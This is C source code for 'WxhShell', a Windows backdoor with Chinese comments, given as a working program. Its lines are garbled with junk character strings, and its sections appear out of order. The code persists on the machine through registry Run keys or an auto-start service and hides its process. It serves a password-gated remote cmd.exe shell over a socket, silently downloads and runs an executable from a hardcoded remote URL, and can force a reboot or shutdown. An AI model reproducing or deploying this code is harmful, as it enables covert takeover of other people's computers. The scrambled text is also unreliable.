    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3z"c B  
    else { [ih^VlZ  
    closesocket(wsh); C;XhnqWv+l  
    ExitThread(0); $VUX?ii$7=  
    } %.  W56  
    break; +Z=DvKsTJ  
    } 'Em633  
  // 获取shell )PjU=@$lI  
  case 's': { nm]m!.$d  
    CmdShell(wsh); Isg\ fSK<j  
    closesocket(wsh);  ]YKxJ''u  
    ExitThread(0); FZ=xy[q]~  
    break; `E8D5'tt  
  } e3]v *<bj  
  // 退出 #9p|aS\  
  case 'x': { r5'bt"K\>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b_a6|  
    CloseIt(wsh); F%G} >xn  
    break; v8 pOA<s  
    } I"2*}v|  
  // 离开 0K^?QM|S  
  case 'q': { K5}0!_)G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b VcA#7 uA  
    closesocket(wsh); @ x5LrQ_`r  
    WSACleanup(); O#x=iZI  
    exit(1); OzUo}QN  
    break; D7v_ <  
        } ^D A<=C-[!  
  } s-JS[  
  } lHc9D  
yUEvva  
  // 提示信息 nXfd f-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Rbv#Y  
} 2[g kDZ  
  } f}w_]l#[G  
K aNO&%qX  
  return; @k-iy-|3 )  
}  a S ,  
7,5Bur  
// shell模块句柄 CRPE:7,D  
int CmdShell(SOCKET sock) 9i+`,r  
{ >IJX=24Rc  
STARTUPINFO si; _~O*V&  
ZeroMemory(&si,sizeof(si)); kxt/I<cs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c]R27r E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  N}KL'  
PROCESS_INFORMATION ProcessInfo; t_jnp $1m  
char cmdline[]="cmd"; Ar'k6NX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >1RL5_US  
  return 0; !uqp?L^;  
} %'.3t|zH  
zQaD&2 q  
// 自身启动模式 C{OkbE"Vym  
int StartFromService(void) s%^@@Dk  
{ e@7UL|12  
typedef struct $) m$ c5!  
{ '+7"dHLC;  
  DWORD ExitStatus; Ih)4.lLcKn  
  DWORD PebBaseAddress; z8cefD9F  
  DWORD AffinityMask; 2 :wgt  
  DWORD BasePriority; 4OFv#$[  
  ULONG UniqueProcessId; 1h?QEZ,6a  
  ULONG InheritedFromUniqueProcessId; }Dx.;0*:  
}   PROCESS_BASIC_INFORMATION; ]Wtg.y6;  
I %|;M%B  
PROCNTQSIP NtQueryInformationProcess; lESv  
^o4](l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &1ZUMc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'PWA  
@S1Z "%S  
  HANDLE             hProcess; Ty}Y/jW  
  PROCESS_BASIC_INFORMATION pbi; DGNn#DP  
P=R-1V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zJov*^T-C  
  if(NULL == hInst ) return 0; yX/{eX5dr  
zZ;V9KM>v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &pW2R}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lN*beOj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7QRkXs  
\&[(PNl  
  if (!NtQueryInformationProcess) return 0; LZ RP}|  
K%1`LT5:~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ehTv@2b  
  if(!hProcess) return 0; 0X5b32  
K #}t\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /h8100  
r+;k(HMY}[  
  CloseHandle(hProcess); h.q9p!  
NuW6~PV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hR~&}sxN  
if(hProcess==NULL) return 0; d'iSvd.  
D7=Irz!O\7  
HMODULE hMod; Z"$iB-]  
char procName[255]; T"1=/r$Ft  
unsigned long cbNeeded; X.ecA`0  
[,(+r7aB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }m&\I  
Q" r y@ (I  
  CloseHandle(hProcess); wHh6y?g\  
n'[>h0  
if(strstr(procName,"services")) return 1; // 以服务启动 6Ta+f3V   
xxA^A  
  return 0; // 注册表启动 HvmE'O8  
} A?h o<@^  
u~PZK.Uf0  
// 主模块 WtO@Kf:3GH  
int StartWxhshell(LPSTR lpCmdLine) d:"7Tw2v+  
{ yhrjML2K  
  SOCKET wsl; HuR774f[  
BOOL val=TRUE; M4(57b[`  
  int port=0; FC WF$'cO  
  struct sockaddr_in door; dh9@3. t  
#}l$<7Z U  
  if(wscfg.ws_autoins) Install(); _}F _Q5)  
%xr'96d  
port=atoi(lpCmdLine); _0UE*l$t  
=J|jCK[r  
if(port<=0) port=wscfg.ws_port; ) ]DqK<-  
0s79rJ  
  WSADATA data; &2S-scP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k(o(:-+x  
Rh#`AM`)j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|af?IW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;hF}"shJN  
  door.sin_family = AF_INET; z[6avW"q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a~?B/ g&_  
  door.sin_port = htons(port); _]-8gr-T  
U ({N'y=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8 Vf #t!t  
closesocket(wsl); i[I&m]N  
return 1; Ve${g`7&  
} s\<UDW  
2qojU%fiH  
  if(listen(wsl,2) == INVALID_SOCKET) { #%w+PL:*O  
closesocket(wsl); maeQ'Sv_&  
return 1; \iaZV.#f  
}  A@9\Qd  
  Wxhshell(wsl); c91^7@Xv  
  WSACleanup(); :,fT^izew  
Zu2`IzrG#  
return 0; wE"lk  
MV2$0  
} \Zh&[D!2  
KDP"z  
// 以NT服务方式启动 iJj!-a:z.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p3Ozfk  
{ {~w(pAx  
DWORD   status = 0; h(R7y@mp\0  
  DWORD   specificError = 0xfffffff; V'tR \b  
w]nt_xj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #%F-Xsk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dm]g:KWg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RN|Bk  
  serviceStatus.dwWin32ExitCode     = 0; u})*6l.  
  serviceStatus.dwServiceSpecificExitCode = 0; mln4Vl(l2M  
  serviceStatus.dwCheckPoint       = 0; WrcmC$ff  
  serviceStatus.dwWaitHint       = 0;  + K`.ck  
crOSr/I$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %@)R  
  if (hServiceStatusHandle==0) return; T+aNX/c|>  
$gN\%X/n"1  
status = GetLastError(); Z6rZAwy  
  if (status!=NO_ERROR)  v\CBw"  
{ > ;#Y0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H-nhq-fut  
    serviceStatus.dwCheckPoint       = 0; a6cU<(WDeh  
    serviceStatus.dwWaitHint       = 0; pJs`/   
    serviceStatus.dwWin32ExitCode     = status; vq.o;q /  
    serviceStatus.dwServiceSpecificExitCode = specificError; KC"&3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(-1mB,  
    return; v#d(Kj  
  } ~JNE]mg  
MgJ5FRQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ook\CK*nKe  
  serviceStatus.dwCheckPoint       = 0; CM$&XJzva  
  serviceStatus.dwWaitHint       = 0; rk4KAX_[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7 )[2Ud8  
} uF1 4;  
UJQTArf  
// 处理NT服务事件,比如:启动、停止 I'^XEl?   
VOID WINAPI NTServiceHandler(DWORD fdwControl) !.^x^OK%y  
{ \y%"tJ~N{  
switch(fdwControl) he/rt#  
{ G[]%1 _QCO  
case SERVICE_CONTROL_STOP: r]&sXKDc  
  serviceStatus.dwWin32ExitCode = 0; @ *~yVV!5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A,tg268  
  serviceStatus.dwCheckPoint   = 0; J[r_ag  
  serviceStatus.dwWaitHint     = 0; l)o!&]2  
  { 1LSJy*yY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xb%Q[V_m  
  } B~k{f}  
  return; '3U,UD5EG  
case SERVICE_CONTROL_PAUSE: )B +o F7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $GU  s\  
  break; ("PZ!z1m1  
case SERVICE_CONTROL_CONTINUE: JP0a Nu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R-dv$z0  
  break; G7|d$!%  
case SERVICE_CONTROL_INTERROGATE: pbDr:kBL  
  break; 3UW`Jyd`k  
}; rPBsr<k#5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); );AtFP0Y  
} E2dS@!]V  
jD"nEp-  
// 标准应用程序主函数 p7Zeudmj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) llR5qq=t  
{ _Dqi#0#40p  
Lg(G&ljE@k  
// 获取操作系统版本 V`LE 'E  
OsIsNt=GetOsVer(); ,mvFeo;@f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H)E,([   
g.Qn,l]X/p  
  // 从命令行安装 ~PQR_?1  
  if(strpbrk(lpCmdLine,"iI")) Install(); h lc!}{$%8  
c^'bf_~-W  
  // 下载执行文件 "~EAt$  
if(wscfg.ws_downexe) { X]2Ib'(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !KJ X$?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ==?%]ZE8  
} -6uLww=w4  
9<y{:{i  
if(!OsIsNt) { l l*g *zt3  
// 如果时win9x,隐藏进程并且设置为注册表启动 +mD;\iW]  
HideProc(); ~,};FI  
StartWxhshell(lpCmdLine); yK"\~t[@X:  
} \'u+iB g  
else [.Md_  
  if(StartFromService()) bZgo}`o%  
  // 以服务方式启动 L\"wz scn  
  StartServiceCtrlDispatcher(DispatchTable); Fje /;p  
else '_Pb\ jK  
  // 普通方式启动 4clCZ@\K^  
  StartWxhshell(lpCmdLine); )'g4Ty  
J Q*~le*  
return 0; !Sy9v  
} 3hBYx@jTO  
RrrlfFms  
0Bp0ScE|FA  
\24'iYtqW  
=========================================== }id)~h_@  
,wg(}y'  
.Jg<H %%f  
n#WOIweInf  
{wt9/IlG1  
N4-Y0BO  
" .Wp(@l'Hd  
| B$JX'_  
#include <stdio.h> K%BFR,)g  
#include <string.h> ^/Yk*Ny  
#include <windows.h> s"nntC  
#include <winsock2.h> psx_gv,  
#include <winsvc.h> 0QquxYYw,  
#include <urlmon.h> hUp3$4w  
+/n]9l]#h  
#pragma comment (lib, "Ws2_32.lib") $^ir3f+  
#pragma comment (lib, "urlmon.lib") !=;Evf  
?wmu 0rR  
#define MAX_USER   100 // 最大客户端连接数 qkc,93B3  
#define BUF_SOCK   200 // sock buffer XAF]B,h=  
#define KEY_BUFF   255 // 输入 buffer %jq R^F:J  
[a$1{[|)  
#define REBOOT     0   // 重启 xOg|<Nnl  
#define SHUTDOWN   1   // 关机 *kF/yN  
jL5O{R[ x:  
#define DEF_PORT   5000 // 监听端口 ^tm2Duv  
Gv8Z  
#define REG_LEN     16   // 注册表键长度 /i Xl] <  
#define SVC_LEN     80   // NT服务名长度 F$JA IL{W  
%Gu=Dkz  
// 从dll定义API RiZ}cd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wV$V X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P&5vVA6K7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #q0xlF@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3)&rj 7  
i ^N}avO  
// wxhshell配置信息 Cx(HsJ! ,  
struct WSCFG { JPT&!%~  
  int ws_port;         // 监听端口 r[kHVT8  
  char ws_passstr[REG_LEN]; // 口令 !{uV-c-5,  
  int ws_autoins;       // 安装标记, 1=yes 0=no F3Vvqt*2  
  char ws_regname[REG_LEN]; // 注册表键名 1ATH$x  
  char ws_svcname[REG_LEN]; // 服务名 DX3jE p2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2%fkXH<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [vY)y\W{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p"cY/2w:j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l`0JL7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ao2o!-?!t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GLV`IkU %  
G8^b9xoA+.  
}; r`u 9MJ*  
! c~3`7v  
// default Wxhshell configuration Z,XivU&  
struct WSCFG wscfg={DEF_PORT, flBJO.2  
    "xuhuanlingzhe", #^i+'Z=L  
    1, cx)x="c  
    "Wxhshell", +'` ^ N  
    "Wxhshell", {=R vFA  
            "WxhShell Service", b_~KtMO  
    "Wrsky Windows CmdShell Service", ' e x/IqbK  
    "Please Input Your Password: ", T[0CD'|E  
  1, l$!NEOK  
  "http://www.wrsky.com/wxhshell.exe", =<= [E:B  
  "Wxhshell.exe" )In;nc  
    }; .J5or  
?f:\&+.&  
// 消息定义模块 j=>WWlZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dwzk+@]8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V+*1?5w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )OGO wStz  
char *msg_ws_ext="\n\rExit."; "bO]AG  
char *msg_ws_end="\n\rQuit."; G CcSI;w  
char *msg_ws_boot="\n\rReboot..."; J/vcP  
char *msg_ws_poff="\n\rShutdown..."; EJaO"9 (  
char *msg_ws_down="\n\rSave to "; Gn10)Uf8X  
A#79$[>w  
char *msg_ws_err="\n\rErr!"; N *n?hN  
char *msg_ws_ok="\n\rOK!"; ><6g-+*k  
% =v<3  
char ExeFile[MAX_PATH]; *qIns/@  
int nUser = 0; 6XeqK*r*  
HANDLE handles[MAX_USER]; O} lqY?0*  
int OsIsNt; a9nXh6  
0R,Y[).U  
SERVICE_STATUS       serviceStatus; VD=F{|^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n6INI~,  
h&{>4{  
// 函数声明 u/?;J1z:  
int Install(void); P(zquKm  
int Uninstall(void); B"RZpx  
int DownloadFile(char *sURL, SOCKET wsh); iF+50d  
int Boot(int flag); 90$`AMR  
void HideProc(void); X^ 0jS  
int GetOsVer(void); G{|F V m  
int Wxhshell(SOCKET wsl); L w/ZKXDU2  
void TalkWithClient(void *cs); MS%h`Ypo  
int CmdShell(SOCKET sock); 8ax3"G  
int StartFromService(void); 'DH_ihZ  
int StartWxhshell(LPSTR lpCmdLine); WOGMt T%  
gJ Z9XLPC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RAEiIf!3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =Sn!'@%U]  
cFG%Ew@  
// 数据结构和表定义 S#7.y~e\  
SERVICE_TABLE_ENTRY DispatchTable[] = +)d7SWO6]!  
{ &T-udgR9  
{wscfg.ws_svcname, NTServiceMain}, LZ~$=<  
{NULL, NULL} 9hs7B!3pc>  
}; af7\2 g3*  
nr{ }yQ u  
// 自我安装 *W<g%j-a  
int Install(void) rwdj  
{ q|ZQsFZ  
  char svExeFile[MAX_PATH]; ,b8B)VZ?  
  HKEY key; = P {]3K  
  strcpy(svExeFile,ExeFile); -U_<:  
V0 OT_F  
// 如果是win9x系统,修改注册表设为自启动 FY]z*=  
if(!OsIsNt) { dCMWv~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ma26|N5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *YY:JLe  
  RegCloseKey(key); lV!@h}mG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +2]{% =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w-MnJ(r  
  RegCloseKey(key); %!1:BQ,p,i  
  return 0; Y3I+TI>x  
    } I"+;L4o`  
  } <%rG*vzi  
} ^k?Ig.m  
else { =2[cpF]  
2myHn/%C  
// 如果是NT以上系统,安装为系统服务 F D6>[W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Q%Fel.  
if (schSCManager!=0) ^Q4m1? 40  
{ v0}.!u>Ww  
  SC_HANDLE schService = CreateService 5 gbJTh<JU  
  ( n.Q?@\}2  
  schSCManager, Y 1vSwS%{T  
  wscfg.ws_svcname, w_i$/`i+  
  wscfg.ws_svcdisp, 6*2z^P9FRj  
  SERVICE_ALL_ACCESS, fKAG+t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8aD4 wc  
  SERVICE_AUTO_START, `ja**re  
  SERVICE_ERROR_NORMAL, "-TIao#  
  svExeFile, Ey u?T  
  NULL, 52#@.Qa  
  NULL, TNV#   
  NULL, Si]8*>}-B  
  NULL, Fu(I<o+T-  
  NULL asI:J/%+2  
  ); 4o2 C=?@(  
  if (schService!=0) &sQtS  
  { ghiFI<)VY  
  CloseServiceHandle(schService); ]7^YPFc+  
  CloseServiceHandle(schSCManager); ef!V EtEOv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BY$%gIB6>  
  strcat(svExeFile,wscfg.ws_svcname); R('44v5JQp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PTvP;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |nj%G<  
  RegCloseKey(key); <H~  (iQ  
  return 0; rf8`|9h"7  
    } "sRR:wzQu  
  } .yF7{/  
  CloseServiceHandle(schSCManager); A:ef}OCL  
} PZ;O pp  
} MqI!i>  
S-:l 60.  
return 1; T;}pMRd%  
} |S:St HZm  
0BIH.ZV#  
// 自我卸载 kf$0}T`  
int Uninstall(void) *, o)`  
{ M(S:&GOU  
  HKEY key; ]#[ R^t  
6?ylSQ]1  
if(!OsIsNt) { P$D1kcCw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H6*d#!  
  RegDeleteValue(key,wscfg.ws_regname); C sn"sf  
  RegCloseKey(key); i3>7R'q>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qGgT<Rd~1  
  RegDeleteValue(key,wscfg.ws_regname); Zcv1%hI  
  RegCloseKey(key); e?G] fz  
  return 0; o% !a  
  } c0jC84*v  
} 1NT@}j~/  
} z/N~HSh!d  
else { 5o2;26c  
/'p(X~X:l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'LR5s[$j  
if (schSCManager!=0) }dE0WJcO  
{ m ^Btr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UMw1&"0:  
  if (schService!=0) ? S>"yAoe  
  { $} 7/mS@c  
  if(DeleteService(schService)!=0) { -mG3#88*  
  CloseServiceHandle(schService); <D pi M`  
  CloseServiceHandle(schSCManager); qV.*sdS>  
  return 0; qI"@ PI!s  
  } Jpws1~  
  CloseServiceHandle(schService); sL XQ)Ce  
  } ,`MUd0 n  
  CloseServiceHandle(schSCManager); xO6)lVd  
} grnlJ=  
} 50Co/-)j  
=g$%.  
return 1; 9#.nNv*z3  
} 6<R!`N 6  
]7-*1kL8=~  
// 从指定url下载文件 ^6|Q$]}Ok  
int DownloadFile(char *sURL, SOCKET wsh) =ex71qj)  
{ /WB^h6qg  
  HRESULT hr; 4l E j/#}  
char seps[]= "/"; u-At k-2M  
char *token; X61]N^y  
char *file; %X O97  
char myURL[MAX_PATH]; q3e %L  
char myFILE[MAX_PATH]; !,PG!Gnl  
s 7iguFQ  
strcpy(myURL,sURL); 0S;H`w_S  
  token=strtok(myURL,seps); INE8@}e  
  while(token!=NULL) -Yy,L%E]F:  
  { Id(L}i(X  
    file=token; {d(@o!;Fi  
  token=strtok(NULL,seps); frk(2C8T  
  } 6fQNF22E  
@]t}bF]  
GetCurrentDirectory(MAX_PATH,myFILE); ;zIAh[z  
strcat(myFILE, "\\"); %<DXM`Y  
strcat(myFILE, file); vu;pILN  
  send(wsh,myFILE,strlen(myFILE),0); -S OP8G  
send(wsh,"...",3,0); P|_>M SO1'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } O8|_d  
  if(hr==S_OK) [ K;3Qf)  
return 0; lh&Q{t(+8  
else J"L+`i  
return 1; e-ILUzT  
(u+3{Eb  
} r'uD|T H  
Oj6-  
// 系统电源模块 tpO%)*  
int Boot(int flag) x-+Hy\^@|  
{ 1RZhy_$\.  
  HANDLE hToken; %vDN{%h8  
  TOKEN_PRIVILEGES tkp; aRdzXq#x  
|vw0:\/ H  
  if(OsIsNt) { &aqF ||v%)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D|@*HX@_Xp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G< l+94(  
    tkp.PrivilegeCount = 1; Jc"xH~,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N2vSJ\u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iF?4G^  
if(flag==REBOOT) { \L-o>O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eYMp@Cx  
  return 0; 0 Ji>dr n  
} (PE x<r1   
else { 8hZ+[E}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @-Tt<pl'L  
  return 0; 6LrG+p`  
} 1~Zmc1]  
  } 'kf]l=i[n  
  else { E4 GtJ`{X  
if(flag==REBOOT) { :[|4Zn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o<`Mvw@Z  
  return 0; A'HFpsa  
} L}pMjyM  
else { K>hQls+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 85+'9#~!  
  return 0; $' }rBPA/  
} t<wjS|4  
} tAO,s ZW  
W+d=BnOa8  
return 1; SK t&]H  
} a,i k=g  
%wWJVq}jx  
// win9x进程隐藏模块 :sAb'6u1EU  
void HideProc(void) gQMcQV]C$  
{ ^<49NUB>  
FD:3;nUY7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GX?R# cf  
  if ( hKernel != NULL ) ZxLdh8v.  
  { (3~h)vaJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jR[VPm=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 82l$]W4  
    FreeLibrary(hKernel); lKWe=xY\B  
  } u0 myB/`  
9+H C!Uot  
return; 2CcUClP$  
} gb+iy$o-  
ICA p  
// 获取操作系统版本 jYDpJ##Zb  
int GetOsVer(void) q{T [|(!  
{ f?vbIc`  
  OSVERSIONINFO winfo; R8|H*5T?+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M#%l}  
  GetVersionEx(&winfo); OSreS5bg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ])F*)U  
  return 1; *?bOH5$@Nw  
  else >G7dw1;  
  return 0; E/[>#%@i  
} .aS`l~6  
KUJCkwQ  
// 客户端句柄模块 mq 0d ea  
int Wxhshell(SOCKET wsl) Rp.42v#ck  
{ czNi)4x  
  SOCKET wsh; \#Md3!MG  
  struct sockaddr_in client;  2%4u/  
  DWORD myID; o;#:%  
lTb4quf8I  
  while(nUser<MAX_USER) dRj2% Q f  
{ ?='2@@8;  
  int nSize=sizeof(client); 4z<nJOEh[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j.=&qYc0"  
  if(wsh==INVALID_SOCKET) return 1; 4JQd/;  
0V;9v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XhEZTg;  
if(handles[nUser]==0) Ckd j|  
  closesocket(wsh); 6z`l}<q  
else ^m0nInH  
  nUser++; \f~m6j$D_  
  } 3dO~Na`S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uoJ@Jt'j  
K0;caqE^  
  return 0; de7 \~$  
} +4L]Z ;k  
#aI(fQZe  
// 关闭 socket m\zCHX#n  
void CloseIt(SOCKET wsh) xER-TT #S  
{ r2ZSkP.  
closesocket(wsh); an q1zH  
nUser--; 9w3KAca  
ExitThread(0); g[G+s4Nv  
} n_~u!Ky_P  
BD.&K_AW  
// 客户端请求句柄 arK(dg~S  
void TalkWithClient(void *cs) 3Z0ez?p+5  
{ qa-%j+  
\ -n&z;`  
  SOCKET wsh=(SOCKET)cs; z }3` 9  
  char pwd[SVC_LEN]; ,~Y[XazT  
  char cmd[KEY_BUFF]; ]@Z[/z%~04  
char chr[1]; 8*zORz  
int i,j; fQm3D%  
/ R-1s  
  while (nUser < MAX_USER) { wjtFZGx&  
uNKf!\Y  
if(wscfg.ws_passstr) { J497 >w[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hMCf| e.UY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #W$6[#7=I  
  //ZeroMemory(pwd,KEY_BUFF); d+45Y,|  
      i=0; ,#Pp_f<  
  while(i<SVC_LEN) { )7c/i+FsC  
2CMWJi  
  // 设置超时 c1tM(]&  
  fd_set FdRead; >o:y.2yCe  
  struct timeval TimeOut; KWS\iu  
  FD_ZERO(&FdRead); (usFT_  
  FD_SET(wsh,&FdRead); Y{KN:|i.!  
  TimeOut.tv_sec=8; /07iQcT(  
  TimeOut.tv_usec=0; ?_-5W9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sA~Ijg"6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D`'h8:\  
.(^%M 2:6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vRkVPkZ6|  
  pwd=chr[0]; V~#8lu7;  
  if(chr[0]==0xd || chr[0]==0xa) { Tuz~T _M  
  pwd=0; 1y3)ogL  
  break; n\GN}?4  
  } x)R1aq  
  i++; DX0#q #  
    } b.q/? Yx  
 o,rK8x  
  // 如果是非法用户,关闭 socket <=~*`eWV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GX+Gqj.  
} %)ri:Qq  
 eC[G4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :]icW ^%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aH7@:=B  
G>edJPfQ  
while(1) { QsX`IYk  
M1z ?E@kz  
  ZeroMemory(cmd,KEY_BUFF); <<DPer2  
r}:D g fn  
      // 自动支持客户端 telnet标准   %0 p9\I  
  j=0; `*o ko[\3  
  while(j<KEY_BUFF) { (fYYcpd,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nP&6i5s%  
  cmd[j]=chr[0]; xsIfR3Ze9  
  if(chr[0]==0xa || chr[0]==0xd) { J``5;%TJp  
  cmd[j]=0; eN'b" _D  
  break; FKtG  
  } Z*R~dHr   
  j++; :*M2@  
    } sa}.o ZpQ  
SJ}PV:x  
  // 下载文件 hwQrmVwvP  
  if(strstr(cmd,"http://")) { mGpBj9jr1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s"`Oj5  
  if(DownloadFile(cmd,wsh)) xyP 0haE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); },=ORIB B:  
  else N(e>]ui  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6<%b}q9Mo  
  } au E8 ^|  
  else { QYj*|p^x  
Y .E.(\  
    switch(cmd[0]) { bzaweA H  
  &lo<sbd.  
  // 帮助 HHerL%/   
  case '?': { g)ofAG2  
